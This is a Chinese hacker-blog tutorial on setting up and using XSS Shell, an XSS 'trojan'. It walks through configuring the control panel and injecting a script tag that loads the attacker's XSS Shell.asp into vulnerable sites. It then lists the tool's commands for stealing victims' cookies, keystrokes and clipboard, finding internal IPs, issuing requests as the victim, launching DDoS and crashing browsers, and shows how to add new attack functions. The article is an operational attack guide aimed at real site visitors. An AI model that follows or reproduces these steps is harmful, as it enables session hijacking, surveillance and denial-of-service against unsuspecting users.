危险漫步博客
新鲜的“黑客思维”就是从全新的角度看待黑客技术,从更高的层面去思考;专注于黑客精神及技术交流分享的独立博客。
文章2307 浏览21469866

详细认识XSS木马

我在网上泡论坛时无意间发现了一个XSS木马,于是便下载回来测试了一下,感觉很不错,所以特地写出来与大家分享,XSS木马其实很早就出现了,但是国内并没有太多人来介绍它,我在测试的过程中发现它的功能非常的强大,完全可以获取远程用户在访问网页时进行的鼠标操作以及键盘操作的内容,还有用户主机内部的IP地址等,如果你非常精通客户端脚本语言,完全可以自己编写一些特定的脚本并放到这个木马程序中,那么xss漏洞的利用价值就远远超乎你想象了,下面就让我带领大家来认识一下这款XSS木马——XSS Shell。

XSS Shell是应用在Windows系统平台下的,经我查阅资料,发现在Linux系统环境下,实现xss木马思想的程序称为beEF,我看了一下这个程序,其使用非常复杂,因此本文我们将着重介绍前者。将XSS Shell的压缩包解压后,会得到个文件夹和两个文件,其中xssshell.asp文件就是用来实现木马程序与存在xss漏洞网站的通信功能,而DB文件夹下存放的shell.mdb数据库文件则提供了木马程序运行中的所有数据,包括了IPCountry表,其作用就是提供对目标主机IP地址所在地的查询,Log表存储了木马运行中的攻击反馈信息,Victim表记录了进行攻击的目标地址的信息,VictinDetail表记录了被攻击的目标所使用的浏览器的信息。在Sample_victim文件夹下是该木马使用的一个简单的例子,最后一个xssshell文件夹则是整个xss木马的核心程序所在地,也就是管理XSS Shell使用的地方。

在使用前我们还需要进行一些简单的配置:(1)修改XSS Shell的默认密码,这一步是为了防止别人窃取我们的成果,打开xssshell文件夹下的db.asp文件,在其中搜索woot词组,将其替换成我们的密码就可以了。(2)如果我们自己改动了shell.mdb文件的位置或是数据库名称,那么就需要将db.asp文件中用来标识数据库位置的代码“Con\="..\db\sheil.mdb"”更改为新的数据库文件的位置或是名称。

我们将这些文件夹和文件全部上传到自己的ASP空间中或是本地搭建的IIS环境下,db文件夹最好是放在服务器上的一个比较隐蔽或是非Web的目录下,以确保其不能被HTTP下载。打开浏览器,在地址栏中输入放置XSS Shell的网址,输入密码后就可以进行正常的管理操作了。

现在我们只是将XSS Shell的管理端设置好了而已,既然我们的目的是想利用XSS Shell对那些访问存在xss漏洞网站的用户进行攻击,那么就必须要将一段代码通过xss漏洞插人到目标网站上去,代码内容就是<script src=“你的XSS Shell.asp的网络地址”></script>,这是最简单的写法,至于怎么改写跨站代码来突破一些限制并将代码插入到存在xss漏洞的网站中去我就不多说了,大家可以翻看一下网上的一些资料。这里就以我的虚拟机来作为被攻击的WEB服务器,假设在它上面有一个称为test.asp的文件,该文件存在xss漏洞,并且我们已经成功的将XSS Shell的攻击脚本插入到这个页面中了,此时一旦有用户访问test.asp.xss Shell就会马上给出提示了。

在管理页面的Victims一栏里出现了一个IP地址,这就是XSS Shell通过网站xss漏洞间接获得的浏览它的用户主机的IP地址,同时XSS Shell也能利用用户主机的IP地址来查询出被攻击者的所在地,并将结果以图标的形式显示在Victims一栏中。位于管理页面左侧的Commands一栏是该木马预先设置好的一些攻击方法,点击第一个getcookies(),程序将会在Logs栏中显示此刻被攻击用户的Cookies信息。第二个为getSelfHtml(获取网页源代码),第三个是alert(弹出消息框),接下来的是eval(执行脚本)和prompt(弹出输入框,这个攻击方式可以获取用户的一些机密信息)。第六个是getKeyLoggerData(获取键盘记录),再接下来依次是getMouseLog(获取鼠标记录)、getClipboard(获取剪贴板的数据)、getInternalIP(获取内网IP)、checkVisitedLinks(检查已访问的链接)、getPage(这个功能是以受害者的身份请求一个网页,在参数框中填入地址,可以是相对的也可以是绝对的地址)以及DDOS(分布式拒绝服务攻击),XSS Shell实现DDOS的原理就是采用集合网站地址,制造随机URL地址井进行访问的方法来对WEB应用程序所在的服务器进行拒绝服务攻击。最后一个Crash攻击是针对用户浏览器的,通过客户端脚本实现类似死循环这样消耗系统资源来使得用户主机死机。

为了能够更好的发挥XSS Shell的作用,XSS Shell还支持用户自定义新的攻击方式。使用NotePad++打开xssshell.asp文件,来到第336行,在其中加入属于自己的新攻击方法代号,在最后的var CMD_STOPOOS=15;这行下面输入var CMD_STOPDOS=16;,紧接着在下面的“Build Data Types”区域中加入回显属性定义,一般情况下可以选择TEXT格式,所以加入的代码就是dataType[CMD_SAMPLE]=TEXT;,其作用就是负责在控制界面回显攻击效果,最好不要使用HTMLPAGE格式,因为回显结果可能会包含xss攻击语句,这很容易让我们自己也遭受到攻击。

接下来就是编写实现攻击方法的函数了,因为我的学的并不怎么样,因此这里就随便写个函数来演示一下了,主要是为了让大家看下添加新的攻击方式的步骤。

这只是一个返回一条信息的函数,编写好攻击函数后,使用NotePad++的查找功能查找functionprocessGivenCommand,在这个函数中加入调用命令,同时让XSS Sbell记录函数的执行结果,方法就是在第896行的log("DoS should be stopped.", dataTypes[cmd.cmd],cmd.attackID,"waitAndRun()");下而添加如下的代码。

一切修改完毕后保存XSS Shell.asp插件,然后打开XSS Shell文件夹下的db.asp,需要在控制端加上新攻击方法,找到第71行标记Command=Array的这行,在括号中加入cmdSample()"15,"一个简单的添加攻击方式的例子,保存dh.asp文件,到此就OK了,重新打开XSS Shell的控制端就可以使用这个新的攻击方法了。